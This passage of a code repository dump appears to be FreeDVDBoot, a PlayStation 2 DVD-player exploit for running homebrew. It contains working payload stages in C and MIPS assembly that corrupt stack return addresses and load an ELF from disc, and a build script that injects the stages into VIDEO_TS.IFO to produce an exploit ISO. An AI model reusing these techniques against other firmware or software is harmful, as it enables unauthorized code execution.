*buffer = (void *)0xfd000; 112 | unsigned char *buffer = (void *)0xba000; // single 113 | 114 | unsigned int copied = 0; 115 | #define remaining (n - copied) 116 | 117 | if (offset % SECTOR_SIZE) { 118 | readSectors(1, offset / SECTOR_SIZE, buffer); 119 | memcpy(dest, buffer + offset % SECTOR_SIZE, min(SECTOR_SIZE - (offset % SECTOR_SIZE), n)); 120 | copied += min(SECTOR_SIZE - (offset % SECTOR_SIZE), n); 121 | } 122 | 123 | if (remaining >= SECTOR_SIZE) { 124 | readSectors(remaining / SECTOR_SIZE, (offset + copied) / SECTOR_SIZE, dest + copied); 125 | copied += (remaining / SECTOR_SIZE) * SECTOR_SIZE; 126 | } 127 | 128 | if (remaining > 0) { 129 | readSectors(1, (offset + copied) / SECTOR_SIZE, buffer); 130 | memcpy(dest + copied, buffer, remaining); 131 | } 132 | 133 | #undef remaining 134 | } 135 | 136 | // Read data but don't care about over/under writing to dest 137 | static void readDataUnsafe(void *dest, unsigned int offset, size_t n) 138 | { 139 | unsigned int sectorAlignedOffset = offset & ~(SECTOR_SIZE - 1); 140 | unsigned int underflow = offset - sectorAlignedOffset; 141 | 142 | readSectors((n + underflow + SECTOR_SIZE - 1) / SECTOR_SIZE, sectorAlignedOffset / SECTOR_SIZE, dest - underflow); 143 | } 144 | 145 | void _start(void) 146 | { 147 | extern unsigned char ee_crt0[]; 148 | extern unsigned int ee_crt0_size; 149 | void *return_address[4] __attribute__((aligned(16))) = {EE_CRT0_ADDRESS, 0, 0, 0}; 150 | int one __attribute__((aligned(16))) = 1; 151 | int i; 152 | 153 | // sceSifSetDma = resolve("sifman", 7); 154 | // sceSifDmaStat = resolve("sifman", 8); 155 | 156 | sceSifSetDma = (void *)0x16fc8; 157 | sceSifDmaStat = (void *)0x17170; 158 | 159 | unsigned int addiu_magic = 0x27bdffc8; // addiu $sp, $sp, -0x38 160 | // if (*(unsigned int *)READ_SECTORS_110 == addiu_magic) 161 | // readSectors = (void *)READ_SECTORS_110; 162 | if (*(unsigned int *)READ_SECTORS_210 == addiu_magic) 163 | readSectors = (void *)READ_SECTORS_210; 164 | else if (*(unsigned int *)READ_SECTORS_212 == addiu_magic) 165 | readSectors = (void *)READ_SECTORS_212; 166 | else if (*(unsigned int *)READ_SECTORS_213 == addiu_magic) 167 | readSectors = (void *)READ_SECTORS_213; 168 | 169 | transfer_to_ee(EE_CRT0_ADDRESS, ee_crt0, ee_crt0_size); 170 | 171 | // Corrupt all known return addresses in the stack, there might be a more universal way for IOP to redirect EE... 172 | transfer_to_ee((void *)0x14A5FF0, &return_address, sizeof(return_address)); // 2.10E/A 173 | transfer_to_ee((void *)0x10007F0, &return_address, sizeof(return_address)); // 2.10J 174 | transfer_to_ee((void *)0x12D1C70, &return_address, sizeof(return_address)); // 2.10U 175 | 176 | transfer_to_ee((void *)0x12B8CF0, &return_address, sizeof(return_address)); // 2.12U 177 | transfer_to_ee((void *)0x148D0F0, &return_address, sizeof(return_address)); // 2.12G 178 | transfer_to_ee((void *)0x0FE5FF0, &return_address, sizeof(return_address)); // 2.12J 179 | 180 | transfer_to_ee((void *)0x1477B80, &return_address, sizeof(return_address)); // 2.13E/A 181 | 182 | // Clear bit 0 of 0x208bb710 to make EE exit loop waiting for IOP, and return to our above payload 183 | unsigned int loopValue = 0x010004; 184 | // transfer_to_ee((void *)0x208bb710, &loopValue, sizeof(loopValue)); // 2.10E 185 | transfer_to_ee((void *)0x2087d110, &loopValue, sizeof(loopValue)); // 2.13E 186 | 187 | // We wait for EE side to be ready before sending ELF. 188 | while (!(SifGetMSFlag() & 1)) 189 | ; 190 | SifSetMSFlag(3); 191 | 192 | // unsigned char *buffer = (void *)0xfe000; 193 | unsigned char *buffer = (void *)0xBB800; 194 | size_t sizeofbuffer = 2 * SECTOR_SIZE; // todo: find a nice large space 4 sectors maybe 195 | 196 | elf_header_t eh; 197 | readData(&eh, LOAD_ELF_FROM_OFFSET, sizeof(elf_header_t)); 198 | 199 | elf_pheader_t eph[eh.phnum]; 200 | readData(&eph, LOAD_ELF_FROM_OFFSET + eh.phoff, sizeof(elf_pheader_t) * eh.phnum); 201 | 202 | for (i = 0; i < eh.phnum; i++) { 203 | if (eph[i].type != ELF_PT_LOAD) 204 | continue; 205 | 206 | // TODO: handle non-16byte aligned transfers 207 | 208 | unsigned int copied = 0; 209 | int remaining = eph[i].filesz; 210 | while (remaining > 0) { 211 | unsigned int k = min(remaining, sizeofbuffer); 212 | k = (k + 0xf) & ~0xf; 213 | 214 | // If offset is not aligned to a sector, start with a smaller transfer to get it aligned for future reads 215 | if ((eph[i].offset + copied) & (SECTOR_SIZE - 1)) 216 | k = SECTOR_SIZE - (eph[i].offset + copied) & (SECTOR_SIZE - 1); 217 | 218 | // readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k); 219 | readDataUnsafe(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k); 220 | 221 | transfer_to_ee(eph[i].vaddr + copied, buffer, k); 222 | copied += k; 223 | remaining -= k; 224 | } 225 | 226 | copied = 0; 227 | remaining = eph[i].memsz - eph[i].filesz; 228 | 229 | if (remaining > 0) { 230 | // First transfer needs to respect if load size isn't multiple of 16 bytes and not memset 0 over the final eph[i].filesz % 16 bytes 231 | if (eph[i].filesz % 16) { 232 | readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + eph[i].filesz - (eph[i].filesz % 16), eph[i].filesz % 16); 233 | memset(buffer + (eph[i].filesz % 16), 0, 16 - (eph[i].filesz % 16)); 234 | transfer_to_ee(eph[i].vaddr + eph[i].filesz - (eph[i].filesz % 16), buffer, 16); 235 | 236 | copied += 16 - (eph[i].filesz % 16); 237 | remaining -= 16 - (eph[i].filesz % 16); 238 | } 239 | 240 | memset(buffer, 0, sizeofbuffer); 241 | } 242 | while (remaining > 0) { 243 | unsigned int k = min(remaining, sizeofbuffer); 244 | k = (k + 0xf) & ~0xf; 245 | 246 | transfer_to_ee(eph[i].vaddr + eph[i].filesz + copied, buffer, k); 247 | copied += k; 248 | remaining -= k; 249 | } 250 | } 251 | 252 | transfer_to_ee(EE_ENTRYPOINT_ADDRESS, &eh.entry, sizeof(one)); 253 | 254 | // Signal EE that the ELF is loaded and ready to execute. 255 | transfer_to_ee(EE_WAIT_ADDRESS, &one, sizeof(one)); 256 | 257 | // int loopValueJ = 0; 258 | // transfer_to_ee((void *)0x205ea210, &loopValueJ, sizeof(loopValueJ)); // 2.10J 259 | } 260 | 261 | /* dest and src should be aligned to 16 byte boundary 262 | */ 263 | static void transfer_to_ee(void *dest, void *src, unsigned int size) 264 | { 265 | int trid; 266 | 267 | size = size & 0x3FFFFFFF; 268 | struct SifDmaTransfer t = {src, dest, size, 0}; 269 | 270 | /* These could be sent in parallel, but is it really worth it? 271 | */ 272 | trid = sceSifSetDma(&t, 1); 273 | while (sceSifDmaStat(trid) > -1) {}; 274 | } 275 | 276 | static void *memcpy(void *dest, void *src, unsigned int n) 277 | { 278 | int i; 279 | 280 | for (i = 0; i < n; i++) 281 | ((unsigned char *)dest)[i] = ((unsigned char *)src)[i]; 282 | 283 | return dest; 284 | } 285 | 286 | static void *memset(void *s, int c, unsigned int n) 287 | { 288 | int i; 289 | 290 | for (i = 0; i < n; i++) 291 | ((unsigned char *)s)[i] = c; 292 | 293 | return s; 294 | } 295 | 296 | asm("\n\ 297 | .global ee_crt0\n\ 298 | ee_crt0:\n\ 299 | .align 8\n\ 300 | .incbin \"eepayload.ee.bin\"\n\ 301 | ee_crt0_size: .word . - ee_crt0\n\ 302 | "); 303 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/iopresolve.h: -------------------------------------------------------------------------------- 1 | // typedef unsigned char u8; 2 | // typedef unsigned short u16; 3 | // typedef unsigned int u32; 4 | 5 | typedef void *pointer; 6 | 7 | #define NULL 0 8 | 9 | typedef struct _smod_mod_info 10 | { 11 | // struct _smod_mod_info *next; 12 | pointer next; 13 | /** A pointer to the name in IOP RAM, this must be smem_read(). */ 14 | // char *name; 15 | pointer name; 16 | u16 version; 17 | /** For MODLOAD shipped with games. The old MODLOAD module from boot ROMs do not use a flags field. */ 18 | u16 newflags; 19 | u16 id; 20 | u16 unused; 21 | /** _start */ 22 | u32 entry; 23 | u32 gp; 24 | u32 text_start; 25 | u32 text_size; 26 | u32 data_size; 27 | u32 bss_size; 28 | u32 unused1; 29 | u32 unused2; 30 | } smod_mod_info_t; 31 | 32 | typedef struct _slib_imp_list 33 | { 34 | u8 magic; 35 | // struct _slib_imp_list *next; 36 | pointer next; 37 | u16 version; 38 | u16 flags; 39 | u8 name[8]; 40 | // void *imports[0]; 41 | pointer imports[0]; 42 | } slib_imp_list_t; 43 | 44 | typedef struct _slib_exp_lib 45 | { 46 | // struct _slib_exp_lib *prev; 47 | pointer prev; 48 | // struct _slib_imp_list *caller; 49 | pointer caller; 50 | u16 version; 51 | u16 flags; 52 | u8 name[8]; 53 | // void *exports[0]; 54 | pointer exports[0]; 55 | } slib_exp_lib_t; 56 | 57 | typedef struct _slib_exp_lib_list 58 | { 59 | // struct _slib_exp_lib *tail; 60 | pointer tail; 61 | // struct _slib_exp_lib *head; 62 | pointer head; 63 | } slib_exp_lib_list_t; 64 | 65 | #define SMEM_BUF_SIZE 0x300 // Must be large enough to accommodate all operations. 66 | 67 | struct smem_buf 68 | { 69 | union 70 | { 71 | u8 bytes[SMEM_BUF_SIZE / sizeof(u8)]; 72 | u32 words[SMEM_BUF_SIZE / sizeof(u32)]; 73 | smod_mod_info_t mod_info; 74 | slib_exp_lib_t exp_lib; 75 | }; 76 | }; 77 | 78 | 79 | 80 | size_t strlen(const char *str) 81 | { 82 | const char *s; 83 | for (s = str; *s; ++s) 84 | ; 85 | return (s - str); 86 | } 87 | 88 | int memcmp(const char *cs_in, const char *ct_in, size_t n) 89 | { 90 | size_t i; 91 | const unsigned char *cs = (const unsigned char *)cs_in; 92 | const unsigned char *ct = (const unsigned char *)ct_in; 93 | 94 | for (i = 0; i < n; i++, cs++, ct++) { 95 | if (*cs < *ct) { 96 | return -1; 97 | } else if (*cs > *ct) { 98 | return 1; 99 | } 100 | } 101 | return 0; 102 | } 103 | 104 | 105 | 106 | slib_exp_lib_list_t _slib_cur_exp_lib_list; 107 | 108 | struct smem_buf smem_buf; 109 | 110 | typedef unsigned int SifRpcReceiveData_t; 111 | 112 | size_t SifRpcGetOtherData(void *a, pointer x, void *dest, size_t s, int z) 113 | { 114 | memcpy(dest, x, s); 115 | return s; 116 | } 117 | 118 | slib_exp_lib_list_t *slib_exp_lib_list(void) 119 | { 120 | SifRpcReceiveData_t RData; 121 | slib_exp_lib_t *core_exps; 122 | slib_exp_lib_list_t *exp_lib_list = NULL; 123 | u32 i, addr, core_end, NextMod, *exp_func; 124 | void *pGetLoadcoreInternalData; 125 | smod_mod_info_t *ModInfo; 126 | 127 | /* Read the start of the global module table - this is where we will search. */ 128 | if (SifRpcGetOtherData(&RData, (void *)0x800, &smem_buf, sizeof(smod_mod_info_t), 0) >= 0) { 129 | /* The first entry points to LOADCORE's module info. We then use the 130 | module info to determine the end of LOADCORE's .text segment (just 131 | past the export library we're trying to find. */ 132 | NextMod = *smem_buf.words; 133 | if (SifRpcGetOtherData(&RData, (void *)NextMod, &smem_buf, sizeof(smod_mod_info_t), 0) >= 0) { 134 | ModInfo = &smem_buf.mod_info; 135 | core_end = ModInfo->text_start + ModInfo->text_size; 136 | 137 | /* Back up so we position ourselves infront of where the export 138 | library will be. */ 139 | if (SifRpcGetOtherData(&RData, (void *)(core_end - 512), &smem_buf, 512, 0) >= 0) { 140 | /* Search for LOADCORE's export library. */ 141 | for (i = 0; i < 512; i += 4) { 142 | /* SYSMEM's export library sits at 0x830, so it should appear in 143 | LOADCORE's prev pointer. */ 144 | if (smem_buf.words[i / sizeof(u32)] == 0x830) { 145 | if (!memcmp(smem_buf.bytes + i + 12, "loadcore", 8)) 146 | // if (*(unsigned int *)(smem_buf.bytes + i + 12) == 0x64616f6c) // 6c 6f 61 64 == load 147 | break; 148 | } 149 | } 150 | if (i >= 512) 151 | return NULL; 152 | 153 | /* Get to the start of the export table, and find the address of the 154 | routine that will get us the export library list info. */ 155 | core_exps = (slib_exp_lib_t *)(smem_buf.bytes + i); 156 | pGetLoadcoreInternalData = core_exps->exports[3]; 157 | 158 | if (SifRpcGetOtherData(&RData, pGetLoadcoreInternalData, &smem_buf, 8, 0) >= 0) { 159 | exp_func = smem_buf.words; 160 | 161 | /* Parse the two instructions that hold the address of the table. */ 162 | if ((exp_func[0] & 0xffff0000) != 0x3c020000) /* lui v0, XXXX */ 163 | return NULL; 164 | if ((exp_func[1] & 0xffff0000) != 0x24420000) /* addiu v0, v0, XXXX */ 165 | return NULL; 166 | 167 | addr = ((exp_func[0] & 0xffff) << 16) | (exp_func[1] & 0xffff); 168 | 169 | if (SifRpcGetOtherData(&RData, (void *)addr, &smem_buf, 8, 0) >= 0) { 170 | _slib_cur_exp_lib_list.tail = (slib_exp_lib_t *)(smem_buf.words[0]); 171 | _slib_cur_exp_lib_list.head = (slib_exp_lib_t *)(smem_buf.words[1]); 172 | exp_lib_list = &_slib_cur_exp_lib_list; 173 | } 174 | } 175 | } 176 | } 177 | } 178 | 179 | return exp_lib_list; 180 | } 181 | 182 | #define EXP_LIB_MAX SMEM_BUF_SIZE /* We can even handle CDVDMAN's bloat! */ 183 | 184 | int slib_get_exp_lib(const char *name, slib_exp_lib_t *library) 185 | { 186 | SifRpcReceiveData_t RData; 187 | slib_exp_lib_list_t *exp_lib_list = &_slib_cur_exp_lib_list; 188 | slib_exp_lib_t *exp_lib = &smem_buf.exp_lib; 189 | void *cur_lib; 190 | int len = strlen(name), count = 0; 191 | 192 | if (!exp_lib_list->head && !(exp_lib_list = slib_exp_lib_list())) 193 | return 0; 194 | 195 | /* Read the tail export library to initiate the search. */ 196 | cur_lib = exp_lib_list->tail; 197 | 198 | while (cur_lib) { 199 | if (SifRpcGetOtherData(&RData, cur_lib, exp_lib, EXP_LIB_MAX, 0) >= 0) { 200 | if (!memcmp(exp_lib->name, name, len)) { 201 | while (exp_lib->exports[count] != 0) 202 | count++; 203 | 204 | if (library) 205 | memcpy(library, exp_lib, sizeof(slib_exp_lib_t) + count * 4); 206 | 207 | return count; 208 | } 209 | 210 | cur_lib = exp_lib->prev; 211 | } 212 | } 213 | 214 | return 0; 215 | } 216 | 217 | void *resolve(char *name, int export) 218 | { 219 | slib_exp_lib_t *modload_lib = (void *)0x100; 220 | 221 | memset(&_slib_cur_exp_lib_list, 0, sizeof(slib_exp_lib_list_t)); 222 | 223 | if (!slib_get_exp_lib(name, modload_lib)) { 224 | return NULL; 225 | } 226 | 227 | return modload_lib->exports[export]; 228 | } 229 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/stage1_210_212.iop.S: -------------------------------------------------------------------------------- 1 | # ElReino & CTurt 2020 2 | 3 | flushIcache = 0x00002f40 4 | flushDcache = 0x0003044 5 | 6 | # flushDcacheWrapper = 0x0057f1c 7 | 8 | iop_payload_address = 0xa00fd000 9 | 10 | .section .text 11 | 12 | .global _start 13 | _start: 14 | move $fp, $sp # We need to reset $fp as it gets trashed by memcpy 15 | 16 | la $v1, 0x27bdffc8 # addiu $sp, $sp, -0x38 17 | 18 | check_110: 19 | #la $v0, READ_SECTORS_110 20 | #lw $t0, 0($v0) 21 | #beq $t0, $v1, read_iop_payload 22 | 23 | check_210: 24 | la $v0, READ_SECTORS_210 25 | lw $t0, 0($v0) 26 | beq $t0, $v1, read_iop_payload 27 | 28 | check_212: 29 | la $v0, READ_SECTORS_212 30 | 31 | read_iop_payload: 32 | la $a0, (IOP_PAYLOAD_SIZE / 0x800) + 1 # count 33 | la $a1, 0x700000 / 0x800 # sector 34 | la $a2, iop_payload_address # destination 35 | jal $v0 36 | 37 | # jal flushIcache 38 | # jal flushDcache 39 | 40 | # jal ENTRY 41 | la $v0, ENTRY 42 | jalr $v0 43 | 44 | la $v1, 0x27bdffc8 # addiu $sp, $sp, -0x38 45 | 46 | check_110_again: 47 | # AKuHAK: 48 | # la $v0, READ_SECTORS_110 49 | # lw $v0, 0($v0) 50 | # la $a0, RETURN_ADDRESS_LOCATION_110 51 | # la $ra, ORIGINAL_RETURN_ADDRESS_110 52 | # beq $v0, $v1, return 53 | 54 | check_210_again: 55 | la $v0, READ_SECTORS_210 56 | lw $v0, 0($v0) 57 | la $a0, RETURN_ADDRESS_LOCATION_210 58 | la $ra, ORIGINAL_RETURN_ADDRESS_210 59 | beq $v0, $v1, return 60 | 61 | check_212_again: 62 | la $a0, RETURN_ADDRESS_LOCATION_212 63 | la $ra, ORIGINAL_RETURN_ADDRESS_212 64 | 65 | return: 66 | # Return gracefully back to original return address 67 | sw $ra, 0($a0) 68 | la $v0, 0 69 | jr $ra 70 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/stage1_213.iop.S: -------------------------------------------------------------------------------- 1 | # ElReino & CTurt 2020 2 | 3 | flushIcache = 0x00002f40 4 | flushDcache = 0x0003044 5 | 6 | # flushDcacheWrapper = 0x0057f1c 7 | 8 | iop_payload_address = 0xa00fd000 9 | 10 | .section .text 11 | 12 | .global _start 13 | _start: 14 | move $fp, $sp # We need to reset $fp as it gets trashed by memcpy 15 | 16 | la $v0, READ_SECTORS_213 17 | 18 | read_iop_payload: 19 | la $a0, (IOP_PAYLOAD_SIZE / 0x800) + 1 # count 20 | la $a1, 0x700000 / 0x800 # sector 21 | la $a2, iop_payload_address # destination 22 | jal $v0 23 | 24 | # jal flushIcache 25 | # jal flushDcache 26 | 27 | # jal ENTRY 28 | la $v0, ENTRY 29 | jalr $v0 30 | 31 | la $a0, RETURN_ADDRESS_LOCATION_213 32 | la $ra, ORIGINAL_RETURN_ADDRESS_213 33 | 34 | return: 35 | # Return gracefully back to original return address 36 | sw $ra, 0($a0) 37 | la $v0, 0 38 | jr $ra 39 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/syscalls.ee.S: -------------------------------------------------------------------------------- 1 | # ElReino and CTurt 2020 2 | 3 | # Since GCC does something strange, we can't write syscall thunks directly in C 4 | # as GCC adds move $v1, $v0 directly after jr $ra, effectively trashing $v0. 5 | # I don't know why this happens, but I do know enough about GCC that this 6 | # approach will most probably be easier. But feel free to try fixing it. 7 | # TODO: fill an issue to the ps2dev team 8 | 9 | .global GetThreadId 10 | GetThreadId: 11 | la $v1, 0x2f 12 | syscall 0x2f 13 | jr $ra 14 | 15 | .global ChangeThreadPriority 16 | ChangeThreadPriority: 17 | la $v1, 0x29 18 | syscall 0x29 19 | jr $ra 20 | 21 | .global CancelWakeupThread 22 | CancelWakeupThread: 23 | la $v1, 0x35 24 | syscall 0x35 25 | jr $ra 26 | 27 | .global TerminateThread 28 | TerminateThread: 29 | la $v1, 0x25 30 | syscall 0x25 31 | jr $ra 32 | 33 | .global DeleteThread 34 | DeleteThread: 35 | la $v1, 0x21 36 | syscall 0x21 37 | jr $ra 38 | 39 | .global SifSetReg 40 | SifSetReg: 41 | la $v1, 0x79 42 | syscall 0x79 43 | jr $ra 44 | 45 | .global SifGetReg 46 | SifGetReg: 47 | la $v1, 0x7a 48 | syscall 0x7a 49 | jr $ra 50 | 51 | .global ExecPS2 52 | ExecPS2: 53 | la $v1, 0x07 54 | syscall 0x07 # BTW why do we put the number here also? 55 | 56 | # Not a syscall, but it might as well be. 57 | 58 | .global SifWriteBackDCache 59 | SifWriteBackDCache: 60 | lui $25, 0xffff 61 | ori $25, $25, 0xffc0 62 | blez $5, last 63 | addu $10, $4, $5 64 | and $8, $4, $25 65 | addiu $10, $10, -1 66 | and $9, $10, $25 67 | subu $10, $9, $8 68 | srl $11, $10, 0x6 69 | addiu $11, $11, 1 70 | andi $9, $11, 0x7 71 | beqz $9, eight 72 | srl $10, $11, 0x3 73 | loop1: 74 | sync 75 | cache 0x18, 0($8) 76 | sync 77 | addiu $9, $9, -1 78 | nop 79 | bgtz $9, loop1 80 | addiu $8, $8, 64 81 | eight: 82 | beqz $10, last 83 | loop8: 84 | addiu $10, $10, -1 85 | sync 86 | cache 0x18, 0($8) 87 | sync 88 | cache 0x18, 64($8) 89 | sync 90 | cache 0x18, 128($8) 91 | sync 92 | cache 0x18, 192($8) 93 | sync 94 | cache 0x18, 256($8) 95 | sync 96 | cache 0x18, 320($8) 97 | sync 98 | cache 0x18, 384($8) 99 | sync 100 | cache 0x18, 448($8) 101 | sync 102 | bgtz $10, loop8 103 | addiu $8, $8, 512 104 | last: 105 | jr $31 106 | nop 107 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/udf/VIDEO_TS/BOOT.ELF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/1.00-2.13/udf/VIDEO_TS/BOOT.ELF -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/udf/VIDEO_TS/VIDEO_TS.BUP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/1.00-2.13/udf/VIDEO_TS/VIDEO_TS.BUP -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/udf/VIDEO_TS/VIDEO_TS.IFO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/1.00-2.13/udf/VIDEO_TS/VIDEO_TS.IFO -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/udf/VIDEO_TS/VTS_01_0.BUP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/1.00-2.13/udf/VIDEO_TS/VTS_01_0.BUP -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/udf/VIDEO_TS/VTS_01_0.IFO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/1.00-2.13/udf/VIDEO_TS/VTS_01_0.IFO -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/udf/VIDEO_TS/VTS_01_1.VOB: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/1.00-2.13/udf/VIDEO_TS/VTS_01_1.VOB -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # TODO: replace ee-gcc with EE_CC ?= ee-gcc 3 | # TODO: move flags into oneline: EE_CFLAGS = -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 4 | 5 | echo "Building payload" 6 | ee-gcc -Ttext=0x01FFF800 payload.c -o payload.elf -nostartfiles -nostdlib -ffreestanding -Os -Wl,-z,max-page-size=0x1 # 2048 7 | ee-objcopy -O binary payload.elf payload.bin -Wl,-z,max-page-size=0x1 8 | PAYLOAD_SIZE=$(stat -c '%s' payload.bin) 9 | dd if=payload.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x3000)) count=$PAYLOAD_SIZE conv=notrunc 10 | 11 | ENTRY=$(ee-objdump -t payload.elf | grep " _start") 12 | echo "$ENTRY" 13 | 14 | ENTRY=$(echo 0x"$ENTRY" | awk '{print $1}') 15 | echo $ENTRY 16 | # ENTRY=0x'grep -o "^\S*" <<< $ENTRY' 17 | # Doesn't seem to work on MinGW toolchain, so set manually if you're using that: 18 | # ENTRY=0x01fff99c 19 | # echo $ENTRY 20 | 21 | echo "Building crt0 (3.03)" 22 | ee-gcc -Ttext=0x015FFF34 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x262360 crt0.S -o crt0_3.03.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 23 | ee-objcopy -O binary crt0_3.03.elf crt0_3.03.bin -Wl,-z,max-page-size=0x1 24 | CRT0_303_SIZE=$(stat -c '%s' crt0_3.03.bin) 25 | dd if=crt0_3.03.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x0e8c)) count=$CRT0_303_SIZE conv=notrunc 26 | 27 | echo "Building crt0 (3.04M)" 28 | ee-gcc -Ttext=0x01800180 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x261548 crt0.S -o crt0_3.04M.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 29 | ee-objcopy -O binary crt0_3.04M.elf crt0_3.04M.bin -Wl,-z,max-page-size=0x1 30 | CRT0_304M_SIZE=$(stat -c '%s' crt0_3.04M.bin) 31 | dd if=crt0_3.04M.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x2d00)) count=$CRT0_304M_SIZE conv=notrunc 32 | 33 | echo "Building jump for 3.04J" 34 | ee-gcc -Ttext=0x012811E4 -DJUMP=0x01281340 jump.S -o jump_3.04J.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 35 | ee-objcopy -O binary jump_3.04J.elf jump_3.04J.bin -Wl,-z,max-page-size=0x1 36 | JUMP_304J_SIZE=$(stat -c '%s' jump_3.04J.bin) 37 | dd if=jump_3.04J.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x2724)) count=$JUMP_304J_SIZE conv=notrunc 38 | 39 | echo "Building crt0 (3.04J)" 40 | ee-gcc -Ttext=0x01281340 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x261560 crt0.S -o crt0_3.04J.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 41 | ee-objcopy -O binary crt0_3.04J.elf crt0_3.04J.bin -Wl,-z,max-page-size=0x1 42 | CRT0_304J_SIZE=$(stat -c '%s' crt0_3.04J.bin) 43 | dd if=crt0_3.04J.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x2880)) count=$CRT0_304J_SIZE conv=notrunc 44 | 45 | echo "Building crt0 (3.10)" 46 | ee-gcc -Ttext=0x01500014 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x2986a0 crt0.S -o crt0_3.10.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 47 | ee-objcopy -O binary crt0_3.10.elf crt0_3.10.bin -Wl,-z,max-page-size=0x1 48 | CRT0_310_SIZE=$(stat -c '%s' crt0_3.10.bin) 49 | dd if=crt0_3.10.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x2bb4)) count=$CRT0_310_SIZE conv=notrunc 50 | 51 | echo "Building crt0 (3.11)" 52 | ee-gcc -Ttext=0x01500014 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x2952f0 crt0.S -o crt0_3.11.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 53 | ee-objcopy -O binary crt0_3.11.elf crt0_3.11.bin -Wl,-z,max-page-size=0x1 54 | CRT0_311_SIZE=$(stat -c '%s' crt0_3.11.bin) 55 | dd if=crt0_3.11.bin of=udf/VIDEO_TS/VIDEO_TS.IFO bs=1 seek=$((0x2954)) count=$CRT0_311_SIZE conv=notrunc 56 | 57 | echo "CREATE UDF ISO" 58 | genisoimage -udf -o exploit.iso udf/ 59 | 60 | echo "Done." 61 | 62 | echo "For the Dragon image:" 63 | echo "Insert crt0_3.03.bin into VIDEO_TS.IFO at offset 0x0e8c" 64 | echo "Insert jump_3.04J.bin into VIDEO_TS.IFO at offset 0x2724" 65 | echo "Insert crt0_3.04J.bin into VIDEO_TS.IFO at offset 0x2880" 66 | echo "Insert crt0_3.11.bin into VIDEO_TS.IFO at offset 0x2954" 67 | echo "Insert crt0_3.10.bin into VIDEO_TS.IFO at offset 0x2bb4" 68 | echo "Insert crt0_3.04M.bin into VIDEO_TS.IFO at offset 0x2d00" 69 | echo "Insert payload.bin into VIDEO_TS.IFO at offset 0x3000" 70 | # generate 1 image for all 3.03+, 3.04M is the same in that terms 71 | # echo "For 3.04M only image:" 72 | # echo "Insert crt0_3.04M.bin at 0x2d00, and payload.bin at 0x3000" 73 | -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/crt0.S: -------------------------------------------------------------------------------- 1 | .set noreorder # If we're writing assembly, why would we want this? 2 | 3 | .section .text.startup 4 | 5 | .equ getBufferInternal, GETBUFFERINTERNAL 6 | .equ payload, (0x2000000 - 0x800) # End of RAM 7 | 8 | .global _start 9 | _start: 10 | la $a0, load 11 | la $a1, 0 12 | la $a2, 0 13 | la $a3, 0 14 | 15 | .global ExecPS2 16 | ExecPS2: 17 | la $v1, 7 18 | syscall 7 # ExecPS2 19 | 20 | load: 21 | la $a0, 0 22 | la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO 23 | la $a2, 0x3000 / 0x800 # lba offset in file 24 | la $a3, payload # Destination 25 | la $t0, 0x800 / 0x800 # Count 26 | la $v0, getBufferInternal 27 | jalr $v0 28 | la $t1, 0 29 | 30 | boot: 31 | la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback 32 | la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate 33 | 34 | # Point stack to end of scratchpad RAM 35 | # la $sp, 0x70004000 36 | lui $sp, 0x7000 37 | 38 | # Execute from relocated place 39 | la $v0, ENTRY 40 | j $v0 41 | ori $sp, 0x4000 42 | -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/jump.S: 